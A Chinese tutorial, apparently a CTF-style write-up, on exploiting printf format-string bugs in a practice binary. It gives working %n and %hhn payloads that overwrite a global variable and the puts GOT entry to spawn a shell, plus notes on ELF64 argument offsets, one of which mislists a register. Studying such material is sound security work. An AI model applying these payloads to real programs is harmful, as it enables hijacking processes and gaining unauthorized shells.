printf-of-pwn

关于printf格式化的输出的利用,分为两种读和写。把实践在这里总结一下。

根据例子具体学习一下,这个例子是elf32下的,和在elf64下有一点差异分开来说吧。

这是在ghidra下的反汇编,ghidra很好用,有想尝试的同学可以去试一下。

Screenshot%20from%202019-07-20%2000-24-53

逻辑上很简单,secret是一个全局变量,在.bss里面没有初始化,在看一下give_shell的定义

Screenshot%20from%202019-07-20%2014-13-15 give_shell应该相当于一个one_gadget,所以这里的基本第一思路是让secert == 0x539成立。跳转到give_shell上。 这里也可以再看一下checksec,

Screenshot%20from%202019-07-20%2014-17-19

就开了一个NX,在这里并没有影响,跟着思路走,我们需要把secert的覆盖成0x539,那么需要首先拿到secert的地址,在进行写。这里普及下用printf写的过程。

在printf输出格式里面有一个 n$,可以去指定输出参数。例如%5$d,会把printf中的format后面第5个参数以整形的格式输出。printf接受 的是不定参数,参数在栈上按顺序依次取,所以在这里是可以来泄露栈上数据的,那么如何用printf来写呢%n这个输出格式化用来记录前面有多少位的输出,如何写到后面对应参数里面,所以这里我们可以通过%n$n进行任意地址写东西。(前面那个n是指的第几个参数,别弄混)。

这里第一步我们需要找到secert的地址,去看看printf对应的参数栈上有没有我们需要的secert的地址,在ghidra里面找到secert的地址是0804a028,可以直接去.bss节里去看。 接着拿gdb打印一下printf的参数栈 printf的参数栈,这里停到call print@plt这一步,看栈的分布,第一个是format的地址,从第二个开始。参数栈分布如下。

Screenshot%20from%202019-07-20%2014-45-02

可以找到,刚好有我们需要的0x0804a028,并且处于第七个参数的位置。可以看到这里参数栈的分布是连续的,这是在elf32下printf的特点,后面引申一下elf64下的printf的特点。

所以这里已经可以开始构造了,其实payload也很简单%1337x%7$n,注意一下main里面是通过参数项获取的输入的,所以这里 ./printf_pwn12 `echo -e '%1337x%7$n'` 便可以转到shell上。

Screenshot%20from%202019-07-20%2014-54-38

到这里其实已经结束了,但是想搞一些花的,咱们一步一步来。假设secert地址不在栈原本上咋办呢?,这里我们得先把地址写到栈上,然后再用。首先我们要确定通过参数项传入我们的输入在栈上的什么位置。这里先定位一下输入的字符位置在哪。

停到push eax即format入栈的地方,所以这个eax包含就是format字符串的位置,如图:

Screenshot%20from%202019-07-20%2015-03-23

我指定的参数项是aaaaaaaaaaaaaaaaa,这里eax也指向他的位置为0xffffd44a,这里需要需要细节主要一下,你如果细心的话会发现这个这个字符串的起始地址,并没有和栈对齐,它的栈的地址的尾数是a,并不是4的倍数,所以这个字符串并不在printf参数项里面,而且具体的位置是随着这个字符串的大小变的。如果我们想用这个字符串,必须让他在栈上对齐。

这里有一个小方法,我们依次指定输入为 aaaaaaaaaaaaaaa....看它什么时候是对齐的。这里并没有从一个a开始,因为4位以上肯定能覆盖一个单元。这里当输入6个a时aaaaaa刚好对齐,所有输入的规律应该为 'aaaaaa'+n*4即后面的数据以4的倍数增长,所以需要根据后面输入情况padding。

这里我们假设的是参数栈上没有secert的地址,所以这里我们要先构造一个secert的地址,然后在用这个构造的secert的地址写。 第一步构造

1
2
'\x28\xa0\x04\x08'+'%1333x'+'%100$n'+'aaaaaa'
--secert-address---1337-4-------- -padding---
注意一下padding放在的最后,前面好解,后面这个100是怎么来的,根据前面我们得到format的地址0xffffd44a,和printf,第一个参数的地址0xffffd1a4,大概计算一下大概相差170个参数,具体参数偏移需要运行时来确定,所以这里100想当一个占位符,'%1326x'+'%100$n'这里刚好是12个字符不需要padding。

第二步,找'\x28\xa0\x04\x08'是第几个参数。 还是停在最后一个push eax之前, Screenshot%20from%202019-07-20%2015-54-22

可以看到eax为0xffffd444正确的指向了我们的输入。此时的esp是刚好执行第一个参数的,所以简单计算,\x28\xa0\x04\x08应该是第173个参数。接下来我们验证一下对不对,如图成功进入shell。 Screenshot%20from%202019-07-20%2016-09-27

再进一步来点花的,有没有办法,不修改secert的值也能进入shell呢?如果第一个printf的时候,把got.plt表里puts地址成give_shell怎么样呢?在调用puts的时候直接进入give_shell,其实这里是不行的,回过头看一下get_shell里面的第一行,又一次调用了puts,这样会造成死循环。虽然本题不行,但是我们还是来说一下怎么修改got.plt

我先可以来一下程序是怎样去调用一个函数的,直接看main函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
gef➤  disas main
Dump of assembler code for function main:
...
0x080484d5 <+65>: sub esp,0xc
0x080484d8 <+68>: push 0x8048590
0x080484dd <+73>: call 0x8048330 <puts@plt>
0x080484e2 <+78>: add esp,0x10
0x080484e5 <+81>: mov eax,0x0
0x080484ea <+86>: mov ecx,DWORD PTR [ebp-0x4]
0x080484ed <+89>: leave
0x080484ee <+90>: lea esp,[ecx-0x4]
0x080484f1 <+93>: ret
End of assembler dump.
看一下调用puts的过程。首先是call 0x8048330,这个0x8048330其实是puts在plt表上的位置。再去看一下0x8048330是进行的什么过程
1
2
3
4
5
6
gef➤  disas 0x8048330
Dump of assembler code for function puts@plt:
0x08048330 <+0>: jmp DWORD PTR ds:0x804a010
0x08048336 <+6>: push 0x8
0x0804833b <+11>: jmp 0x8048310
End of assembler dump.
第一步是jmp DWORD PTR ds:0x804a010相当于jmp DWORD PTR 0x804a010,跟着0x804a010你会发现这个地方存储是0x08048336,即下一条指令push 0x8的地址,这是plt的机制,第一次调用函数时,会跳到plt[0],通过动态链接,并patch got.plt表相应函数的真实地址。具体plt和got知识在这里就介绍都这里。
1
2
gef➤  x/1x 0x804a010
0x804a010 <[email protected]>: 0x08048336
所以这里知道了在调用puts的时候,回调到0x804a010这个地址存储的具体地址下,如果我们把0x804a010这里地址里面存储的地址换成give_shell不就行了。所以我们的目标是对0x804a010写入give_shell的地址0x804846b.这个写入的数据比较大,不像前面的1337,这里需要分割一下,分割也是有策略。依次从低位写到高位,不能从高位开始写,并且保证写的数据大小也是从小到大。
1
0x804846b =>  0x804 0x84 0x46
第一眼这里可以分成一个2字节和两个1字节。而且数据大小也是从下到大,pwntool也有专门分割函数,但是需要自己padding一下,保证对齐,并指定首参数的偏移量。这里完整叙述一下手工怎么拼。

上面分为了3 个部分,首先根据要写入的地址0x804a010列出这三个地址,从小到大分别为0x804a0100x804a0110x804a012,接着直接拼接:

1
'\x10\xa0\x04\x08'+'\x11\xa0\x04\x08'+'\x12\xa0\x04\x08'+'%95x%173$hhn%25x%174$hhn%1920x%175$nAAAAAA'
从前面知道format的偏移是173,这是相对的,所以不会改变。这里看见我用了两个%hhn%hhn换成%n也没事,这是只是为了保证AAAAAA`前面字符串长度是4的倍数。接着我们可以在gdb下试一下,看看调用puts是否跳转到了give_shell上。 Screenshot%20from%202019-07-20%2017-21-59

可以看到got表上的位置确实变成了give_shell的位置0x0804846b,可以继续执行一下看看 Screenshot%20from%202019-07-20%2017-23-18

上面都是elf32 下的printf,在elf64的printf有点不一样,关于参数的寻址是不一样的。去看看printf的具体的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gef➤  disas printf
Dump of assembler code for function __printf:
=> 0x00007ffff7e40560 <+0>: sub rsp,0xd8
0x00007ffff7e40567 <+7>: mov QWORD PTR [rsp+0x28],rsi #格式化参数1
0x00007ffff7e4056c <+12>: mov QWORD PTR [rsp+0x30],rdx #格式化参数2
0x00007ffff7e40571 <+17>: mov QWORD PTR [rsp+0x38],rcx #格式化参数3
0x00007ffff7e40576 <+22>: mov QWORD PTR [rsp+0x40],r8 #格式化参数4
0x00007ffff7e4057b <+27>: mov QWORD PTR [rsp+0x48],r9 #格式化参数5
0x00007ffff7e40580 <+32>: test al,al //判断浮点数的个数
0x00007ffff7e40582 <+34>: je 0x7ffff7e405bb <__printf+91>
0x00007ffff7e40584 <+36>: movaps XMMWORD PTR [rsp+0x50],xmm0 |
0x00007ffff7e40589 <+41>: movaps XMMWORD PTR [rsp+0x60],xmm1 |
0x00007ffff7e4058e <+46>: movaps XMMWORD PTR [rsp+0x70],xmm2 |
0x00007ffff7e40593 <+51>: movaps XMMWORD PTR [rsp+0x80],xmm3 |
0x00007ffff7e4059b <+59>: movaps XMMWORD PTR [rsp+0x90],xmm4 |
0x00007ffff7e405a3 <+67>: movaps XMMWORD PTR [rsp+0xa0],xmm5 |
0x00007ffff7e405ab <+75>: movaps XMMWORD PTR [rsp+0xb0],xmm6 |
0x00007ffff7e405b3 <+83>: movaps XMMWORD PTR [rsp+0xc0],xmm7 |
0x00007ffff7e405bb <+91>: mov rax,QWORD PTR fs:0x28
0x00007ffff7e405c4 <+100>: mov QWORD PTR [rsp+0x18],rax
0x00007ffff7e405c9 <+105>: xor eax,eax
0x00007ffff7e405cb <+107>: lea rax,[rsp+0xe0]
0x00007ffff7e405d3 <+115>: mov rsi,rdi
0x00007ffff7e405d6 <+118>: mov rdx,rsp
0x00007ffff7e405d9 <+121>: mov QWORD PTR [rsp+0x8],rax
0x00007ffff7e405de <+126>: lea rax,[rsp+0x20]
0x00007ffff7e405e3 <+131>: mov QWORD PTR [rsp+0x10],rax
0x00007ffff7e405e8 <+136>: mov rax,QWORD PTR [rip+0x162959] # 0x7ffff7fa2f48
0x00007ffff7e405ef <+143>: mov DWORD PTR [rsp],0x8
0x00007ffff7e405f6 <+150>: mov rdi,QWORD PTR [rax]
0x00007ffff7e405f9 <+153>: mov DWORD PTR [rsp+0x4],0x30
0x00007ffff7e40601 <+161>: call 0x7ffff7e379f0 <_IO_vfprintf_internal>

在elf64中函数传参用前六个参数用传参rdirsiraxrcxr8r9,如果多余的就用在call printf之前push到栈里,这里也可以看到,参数栈也不是连续的,同时也保存了xmm寄存器的状态。所以在计算参数偏移的时候,偏移量应该是5+(目的地址- ret)/8,这里需要注意一下。